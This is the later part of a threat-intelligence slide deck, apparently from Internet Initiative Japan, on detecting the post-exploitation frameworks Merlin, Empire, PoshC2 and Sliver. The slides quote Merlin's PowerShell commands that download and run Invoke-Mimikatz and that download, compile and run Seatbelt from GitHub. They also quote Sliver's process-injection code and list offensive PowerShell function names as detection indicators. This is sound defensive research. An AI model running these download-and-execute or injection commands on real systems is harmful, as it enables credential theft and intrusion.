Merlin• Merlin downloads external tools from GitHub– Not from C&C server• External tools are downloaded using PowerShell– Tools are loaded using Invoke-Expression after they are
downloaded– Tools are compiled and executed using csc.exe after they are
downloaded• Due to misconfigurations in their command lines, some tools
may fail to execute– Since processes are created, the attempts of their execution are
logged in the event log

Copyright Internet Initiative Japan Inc.

130

Invoke-Mimikatz (PowerShell) download commands Merlin"commands": ["powershell.exe",
Download the tool from GitHub and"-nop",
run it with Invoke-Expression"-WindowStyle", "0","IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/BCSECURITY/Empire/master/empire/server/data/module_source/credentials/InvokeMimikatz.ps1');","Invoke-Mimikatz","{{DumpCreds.Flag}}","{{DumpCerts.Flag}}","{{Command}}","{{ComputerName}}"]https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/powershell/powersploit/Invoke -Mimikatz.json#L22-L33
Copyright Internet Initiative Japan Inc.

131

Indicators

Merlin

Item

Value

ParentProcess<Merlin process>CommandLine••

powershell.exe -nop -WindowsStyle 0 "IEX (New-Object
Net.WebClient).DownloadString('<GitHub URL>');" <Tool Function>
powershell.exe -nop -w 0 “IEX (New-Object
Net.WebClient).DownloadString('<GitHub URL>’);" <Tool Function>

Copyright Internet Initiative Japan Inc.

132

Seatbelt (C#) download commands

Merlin"commands": ["powershell.exe", "-nop", "-w 1", "¥"","(New-Object
System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/GhostPack/Seatbelt/master/Seatbelt/Program.cs', $env:APPDATA+'¥¥¥¥{{FileName.Value}}.cs');","$f=(Get-Content $env:APPDATA¥¥¥¥{{FileName.Value}}.cs);","$f=($f -replace 'UInt32','uint');","$f=($f -replace 'UInt64','ulong');","Set-Content -Path $env:APPDATA¥¥¥¥{{FileName.Value}}.cs $f;","c:¥¥¥¥Windows¥¥¥¥Microsoft.NET¥¥¥¥Framework64¥¥¥¥{{.NetVersion.Value}}¥¥¥¥csc.exe/unsafe /nowarn:0649 /out:$env:APPDATA¥¥¥¥{{FileName.Value}}.exe$env:APPDATA¥¥¥¥{{FileName.Value}}.cs;","&$env:APPDATA¥¥¥¥{{FileName.Value}}.exe",<…snip…>";del $env:APPDATA¥¥¥¥{{FileName.Value}}.*", "¥""]
https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/csharp/enumeration/Seatbelt.json#L70 -L134
Copyright Internet Initiative Japan Inc.

133

Seatbelt (C#) download commands

Merlin"commands": ["powershell.exe", "-nop", "-w 1", "¥"","(New-Object
System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/GhostPack/Seatbelt/master/Seatbelt/Program.cs', $env:APPDATA+'¥¥¥¥{{FileName.Value}}.cs');","$f=(Get-Content $env:APPDATA¥¥¥¥{{FileName.Value}}.cs);","$f=($f -replace 'UInt32','uint');","$f=($f -replace 'UInt64','ulong');","Set-Content-Path $env:APPDATA¥¥¥¥{{FileName.Value}}.cs$f;",to %AppData%
Download
the tool from GitHub and save"c:¥¥¥¥Windows¥¥¥¥Microsoft.NET¥¥¥¥Framework64¥¥¥¥{{.NetVersion.Value}}¥¥¥¥csc.exe/unsafe /nowarn:0649 /out:$env:APPDATA¥¥¥¥{{FileName.Value}}.exe$env:APPDATA¥¥¥¥{{FileName.Value}}.cs;","&$env:APPDATA¥¥¥¥{{FileName.Value}}.exe",<…snip…>";del $env:APPDATA¥¥¥¥{{FileName.Value}}.*", "¥""]
https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/csharp/enumeration/Seatbelt.json#L70 -L134
Copyright Internet Initiative Japan Inc.

134

Seatbelt (C#) download commands

Merlin"commands": [Compile with csc.exe"powershell.exe", "-nop", "-w 1", "¥"","(New-Object
System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/GhostPack/Seatbelt/master/Seatbelt/Program.cs', $env:APPDATA+'¥¥¥¥{{FileName.Value}}.cs');","$f=(Get-Content $env:APPDATA¥¥¥¥{{FileName.Value}}.cs);","$f=($f -replace 'UInt32','uint');","$f=($f -replace 'UInt64','ulong');","Set-Content -Path $env:APPDATA¥¥¥¥{{FileName.Value}}.cs $f;","c:¥¥¥¥Windows¥¥¥¥Microsoft.NET¥¥¥¥Framework64¥¥¥¥{{.NetVersion.Value}}¥¥¥¥csc.exe/unsafe /nowarn:0649 /out:$env:APPDATA¥¥¥¥{{FileName.Value}}.exe$env:APPDATA¥¥¥¥{{FileName.Value}}.cs;","&$env:APPDATA¥¥¥¥{{FileName.Value}}.exe",<…snip…>";del $env:APPDATA¥¥¥¥{{FileName.Value}}.*", "¥""]
https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/csharp/enumeration/Seatbelt.json#L70 -L134
Copyright Internet Initiative Japan Inc.

135

Seatbelt (C#) download commands

Merlin"commands": ["powershell.exe", "-nop", "-w 1", "¥"","(New-Object
System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/GhostPack/Seatbelt/master/Seatbelt/Program.cs', $env:APPDATA+'¥¥¥¥{{FileName.Value}}.cs');","$f=(Get-Content $env:APPDATA¥¥¥¥{{FileName.Value}}.cs);",Delete files after the execution"$f=($f -replace 'UInt32','uint');","$f=($f -replace 'UInt64','ulong');","Set-Content -Path $env:APPDATA¥¥¥¥{{FileName.Value}}.cs $f;","c:¥¥¥¥Windows¥¥¥¥Microsoft.NET¥¥¥¥Framework64¥¥¥¥{{.NetVersion.Value}}¥¥¥¥csc.exe/unsafe /nowarn:0649 /out:$env:APPDATA¥¥¥¥{{FileName.Value}}.exe$env:APPDATA¥¥¥¥{{FileName.Value}}.cs;","&$env:APPDATA¥¥¥¥{{FileName.Value}}.exe",<…snip…>";del $env:APPDATA¥¥¥¥{{FileName.Value}}.*", "¥""]
https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/csharp/enumeration/Seatbelt.json#L70 -L134
Copyright Internet Initiative Japan Inc.

136

Indicators

Merlin

Item

Value

ParentProcess<Merlin process>CommandLine

powershell.exe -nop "-w 1" ¥" "(New-Object Net.WebClient).DownloadString('<Github
URL>', $env:APPDATA+’¥¥<Filename>.cs <…snip…>

Copyright Internet Initiative Japan Inc.

137

Load PowerShell tools

EmpireMerlinPoshC2• Empire, Merlin and PoshC2 use PowerShell to call external tools– Invoke-Mimikatz, Invoke-Inveigh, etc …

• Loaded PowerShell tools are logged in the event log– PowerShell tool function names will be the indicators• List of function names that may be used as indicators is in the
Appendix of this presentation

Copyright Internet Initiative Japan Inc.

138

Indicators

Empire

Item

Value

Script
block

•
•
•

MerlinPoshC2

Invoke-Mimikatz
powercatetc …

Copyright Internet Initiative Japan Inc.

139

Sliver process injection feature

Sliver• Sliver executes C# tools using process injection– The default injection target is notepad.exe
windowsDefaultHostProc = `c:¥windows¥system32¥notepad.exe`
https://github.com/BishopFox/sliver/blob/master/client/command/alias/load.go#L49– Optionally runs as its own thread• Sliver uses CreateRemoteThread with process injection– CreateRemoteThread can be monitored by Sysmon

Copyright Internet Initiative Japan Inc.

140

C# tool process injection source code

Sliverfunc ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32)(string, error) {<…snip…>
cmd, err := startProcess(process, processArgs, ppid, &stdoutBuf, &stderrBuf, true)<…snip…>
handle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, true,
uint32(pid))<…snip…>
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle,&lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)<…snip…>
threadHandle, err := injectTask(lpTargetHandle, data, false)<…snip…>}
https://github.com/BishopFox/sliver/blob/master/implant/sliver/taskrunner/task_windows.go#L293-L344
Copyright Internet Initiative Japan Inc.

141

C# tool process injection source code

Sliverfunc ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32)(string, error) {<…snip…>
cmd, err := startProcess(process, processArgs, ppid, &stdoutBuf, &stderrBuf, true)<…snip…>
handle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, true,
uint32(pid))
Create injection destination process and<…snip…>
inject theC# toolerr = windows.DuplicateHandle(handle,
currentProcHandle,
currentProcHandle,&lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)<…snip…>
threadHandle, err := injectTask(lpTargetHandle, data, false)<…snip…>}
https://github.com/BishopFox/sliver/blob/master/implant/sliver/taskrunner/task_windows.go#L293-L344
Copyright Internet Initiative Japan Inc.

142

Indicators

Sliver

Item

Value

ParentProcess<Sliver process>CommandLine(default) c:¥windows¥system32¥notepad.exe ""Copyright Internet Initiative Japan Inc.

143

Shellcode injection source code

Sliverfunc RemoteTask(processID int, data []byte, rwxPages bool) error {var lpTargetHandle windows.Handle<…snip…>
processHandle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE,
false, uint32(processID))<…snip…>
err = windows.DuplicateHandle(processHandle, currentProcHandle,
currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)<…snip…>_, err = injectTask(lpTargetHandle, data, rwxPages)}

Injection to the specified process

https://github.com/BishopFox/sliver/blob/master/implant/sliver/taskrunner/task_windows.go#L135-L164

Copyright Internet Initiative Japan Inc.

144

InjectTask uses CreateRemoteThread

Sliverfunc injectTask(processHandle windows.Handle, data []byte, rwxPages bool)(windows.Handle, error) {<…snip…>
err = syscalls.WriteProcessMemory(processHandle, remoteAddr, &data[0],uintptr(uint32(dataSize)), &nLength)<…snip…>
threadHandle, err = syscalls.CreateRemoteThread(processHandle, attr, uint32(0),remoteAddr, 0, 0, &lpThreadId)<…snip…>}
https://github.com/BishopFox/sliver/blob/master/implant/sliver/taskrunner/task_windows.go#L66 -L132

Copyright Internet Initiative Japan Inc.

145

Indicators

Sliver

Item

Value

ParentProcess<Sliver process>Process

notepad.exe

Copyright Internet Initiative Japan Inc.

146

Wrap-up

Copyright Internet Initiative Japan Inc.

147

Wrap-up• Summary– Explained the MITRE ATT&CK Techniques of various PostExploitation Frameworks– Explained individual indicators and their similarities• Future works– Create and share detection rules for Sigma– Analyze external tools that are used as modules

Copyright Internet Initiative Japan Inc.

148

Appendix

Copyright Internet Initiative Japan Inc.

149

Extra Threat Intelligence~ Indicators of External Tools Usage ~Copyright Internet Initiative Japan Inc.

150

Merlin PowerShell modules
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Add-RemoteRegBackdoor
Configure-Victim
Create-HotKeyLNK
CredManMain
Dump
Find-ComputersWithRemoteAccessPolicies
Get-ExecutionCommand
Get-GPPPassword
Get-InjectedThread
Get-OSTokenInformation
Get-RemoteCachedCredential
Get-RemoteLocalAccountHash
Get-RemoteMachineAccountHash
Get-ScheduledTaskComHandler
Invoke-ADSBackdoor
Invoke-AllChecks
Invoke-AuditGPOReport

•
•
•
•
•
•
•
•
•
•
•

Invoke-DCOM
Invoke-DCOMObjectScan
Invoke-DCOMPowerPointPivot
Invoke-ExcelMacroPivot
Invoke-ExecutionCommand
Invoke-InternalMonologue
Invoke-Inveigh
Invoke-Mimikatz
Invoke-PowerThIEf
Invoke-RegisterRemoteSchema
Invoke-WMILM

Copyright Internet Initiative Japan Inc.

151

Empire PowerShell modules 1
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Add-KeePassConfigTrigger
Add-NetUser
Disable-SecuritySettings
Exploit-JBoss
Exploit-Jenkins
Fetch-BruteFind-AllVulns
Find-DomainProcess
Find-DomainShareFind-DomainUserLocation
Find-Fruit
Find-InterestingFile
Find-KeePassconfig
Find-LocalAdminAccessFind-ProcessDLLHijack
Find-TrustedDocuments
Get-ADIDNSPermission
Get-ADIDNSZone
Get-AntiVirusProductGet-AppLockerConfig

•
•
•
•
•
•
•
•
•
•
•
•

•

•
•
•

Get-BrowserData•
Get-ChromeDump•
Get-ClipboardContents•
Get-ComputerDetails•
Get-DomainComputer•
Get-DomainController•
Get-DomainDFSshare•
Get-DomainFileServer•
Get-DomainForeignGroupMember •Get-DomainForeignUser•
Get-DomainGPO•
Get•
DomainGPOComputerLocalGroup •Mapping•
GetDomainGPOUserLocalGroupMapping
Get-DomainGroup
Get-DomainGroupMember
Get-DomainManagedSecurityGroup

Get-DomainOU
Get-DomainObjectAcl
Get-DomainPolicyData
Get-DomainSID
Get-DomainSite
Get-DomainSubnet
Get-DomainTrust
Get-DomainTrustMapping
Get-DomainUser
Get-EmailItems
Get-Forest
Get-ForestDomain
Get-FoxDump
Get-GPOComputer

Copyright Internet Initiative Japan Inc.

152

Empire PowerShell modules 2
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Get-GPPPassword
Get-IndexedItem
Get-KeePassconfig
Get-KerberosServiceTicket
Get-KeyStrokes
Get-LAPSPasswords
Get-NetLocalGroup
Get-NetLoggedon
Get-NetRDPSession
Get-NetSession
Get-PathAcl
Get-Proxy
Get-RickAstley
Get-SPN
Get-SQLColumnSampleData
Get-SQLInstanceDomain
Get-SQLQuery
Get-SQLServerInfo
Get-SQLServerLoginDefaultPw

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Get-Schwifty
Get-Screenshot
Get-SecurityPackages
Get-SharpChromium
Get-SiteListPassword
Get-SubFolders
Get-System
Get-SystemDNSServer
Get-UACLevel
Get-USBKeyStrokes
Get-VaultCredential
Get-WMIRegCachedRDP
Connection
Get-WinUpdates
Install-SSP
Install-ServiceBinary
Invoke-ARPScan
Invoke-AllChecks
Invoke-BackdoorLNK

•
•
•
•
•
•
•
•
•
•
•
•
•

Invoke-BloodHound
Invoke-Boolang
Invoke-BypassUAC
InvokeBypassUACTokenManipulation
Invoke-ClearScript
Invoke-CredentialInjection
Invoke-CredentialPhisher
Invoke-DCOM
Invoke-DeadUserBackdoor
Invoke-DisableMachineAcctChange
Invoke-DllInjection
Invoke-DomainPasswordSpray
Invoke-DowngradeAccount

Copyright Internet Initiative Japan Inc.

153

Empire PowerShell modules 3
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Invoke-DownloadFile
Invoke-DropboxUpload
Invoke-EgressCheck
Invoke-EnvBypass
Invoke-EternalBlue
Invoke-EventLogBackdoor
Invoke-EventVwrBypass
Invoke-ExecuteMSBuild
Invoke-FileFinder
Invoke-FodHelperBypass
Invoke-FodhelperProgIDs
Invoke-HostRecon
Invoke-InternalMonologue
Invoke-Inveigh
Invoke-InveighRelay
Invoke-IronPython
Invoke-IronPython3
Invoke-KeeThief
Invoke-Kerberoast

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Invoke-LockWorkStation
Invoke-MS16032
Invoke-MS16135
Invoke-MailSearch
Invoke-Message
Invoke-MetasploitPayload
Invoke-Mimikatz
Invoke-NTLMExtract
Invoke-NetRipper
Invoke-Nightmare
Invoke-NinjaCopy
Invoke-Ntsd
Invoke-PSInject
Invoke-Paranoia
Invoke-Phant0m
Invoke-PhishingLnk
Invoke-PortFwd
Invoke-Portscan
Invoke-PowerDump

•
•
•
•
•
•
•
•
•
•
•
•

Invoke-PrintDeamon
Invoke-PrivescCheck
Invoke-ProcessKiller
Invoke-Prompt
Invoke-PsExec
Invoke-RIDHijacking
Invoke-ReflectivePEInjection
Invoke-ResolverBackdoor
Invoke-ReverseDNSLookup
Invoke-ReverseSocksProxy
Invoke-RunAs
Invoke-SDCLTBypass

Copyright Internet Initiative Japan Inc.

154

Empire PowerShell modules 4
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Invoke-SMBAutoBrute
Invoke-SMBExec
Invoke-SMBLogin
Invoke-SMBScanner
Invoke-SQLOSCMD
Invoke-SSHCommand
Invoke-SSharp
Invoke-SauronEye
Invoke-Script
Invoke-SearchGAL
Invoke-SendMail
Invoke-ServiceAbuse
Invoke-SessionGopher
Invoke-SharpChiselClient
Invoke-SharpLoginPrompt
Invoke-SharpSecDump
Invoke-Shellcode
Invoke-ShellcodeMSIL
Invoke-SpawnAs

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Invoke-SpoolSample
Invoke-SweetPotato
Invoke-Tater
Invoke-Thunderstruck
Invoke-TokenManipulation
Invoke-VeeamGetCreds
Invoke-Vnc
Invoke-VoiceTroll
Invoke-WScriptBypassUAC
Invoke-Watson
Invoke-WdigestDowngrade
Invoke-WinEnum
Invoke-WireTap
Invoke-Wlrmdr
Invoke-ZeroLogon
Invoke-ZipFolder
Invoke-sid_to_user
Invoke-winPEAS
New-GPOImmediateTask

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

New-HoneyHash
Out-Minidump
Remove-KeePassConfigTrigger
Restart-Computer
Restore-ServiceBinary
Set-DomainObject
Set-MacAttribute
Set-Wallpaper
Start-MonitorTCPConnections
Start-ProcessAsUser
Start-WebcamRecorder
Test-LoginView-EmailWrite-HijackDll
powercat

Copyright Internet Initiative Japan Inc.

155

PoshC2 PowerShell modules 1
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Add-ObjectAcl
ArpScanBrute-Ad
Brute-LocAdmin
Bypass-UAC
ConvertTo-Shellcode
Cred-Popper
Decrypt-RDCMan
Dump-NTDS
Find-AllVulns
Find-DomainShare
Get-ComputerInfo
Get-CreditCardData
Get-DFSshare
Get-DomainComputer
Get-DomainGroupMember
Get-DomainUser
Get-GPPAutologon
Get-GPPPassword

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Get-Hash
Get-IdleTime
Get-InjectedThread
Get-Ipconfig
Get-Keystrokes
Get-LAPSPasswords
Get-LocAdm
Get-MSHotFixes
Get-NetComputer
Get-NetDomain
Get-NetDomainController
Get-NetForest
Get-NetForestDomain
Get-NetGroup
Get-NetGroupMember
Get-NetLocalGroupMember
Get-NetShare
Get-NetUser
Get-Netstat

•
•
•
•
•
•
•
•
•
•
•
•

Get-ObjectAcl
Get-PassNotExp
Get-PassPol
Get-RecentFiles
Get-ScreenshotAllWindows
Get-ServicePerms
Get-UserInfo
Get-WLANPass
Get-WMIRegCachedRDPConnection
Get-WMIRegLastLoggedOn
Get-WMIRegMountedDrive
Inject-Shellcode

Copyright Internet Initiative Japan Inc.

156

PoshC2 PowerShell modules 2
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

InveighInveigh-Relay
Invoke-ACLScanner
Invoke-AllChecks
Invoke-Arpscan
Invoke-BloodHound
Invoke-DCSync
Invoke-DaisyChain
Invoke-EDRChecker
Invoke-EternalBlue
Invoke-EventVwrBypass
Invoke-HostEnum
Invoke-Hostscan
Invoke-Inveigh
Invoke-Kerberoast
Invoke-MS16-032
Invoke-MapDomainTrust
Invoke-Mimikatz
Invoke-PSInject
Invoke-Pbind

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Invoke-Pipekat
Invoke-Portscan
Invoke-PowerDump
Invoke-PsExec
Invoke-PsUACme
Invoke-ReflectivePEInjection
Invoke-ReverseDnsLookup
Invoke-Runas
Invoke-SMBClient
Invoke-SMBExec
Invoke-ShareFinder
Invoke-Shellcode
Invoke-Sniffer
Invoke-SqlQuery
Invoke-Tater
Invoke-TheHash
Invoke-TokenManipulation
Invoke-URLCheck
Invoke-UserHunter
Invoke-WMI

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Invoke-WMIChecker
Invoke-WMICommand
Invoke-WMIEvent
Invoke-WScriptBypassUAC
Invoke-WinRMSession
New-JScriptShell
New-ZipFile
Out-Minidump
PortscanRemove-WMIEvent
Resolve-IPAddress
RunAs-NetOnly
Set-LHSTokenPrivilege
Test-ADCredential
cve-2016-9192
invoke-smblogin
powercat

Copyright Internet Initiative Japan Inc.

157

Copyright Internet Initiative Japan Inc.

158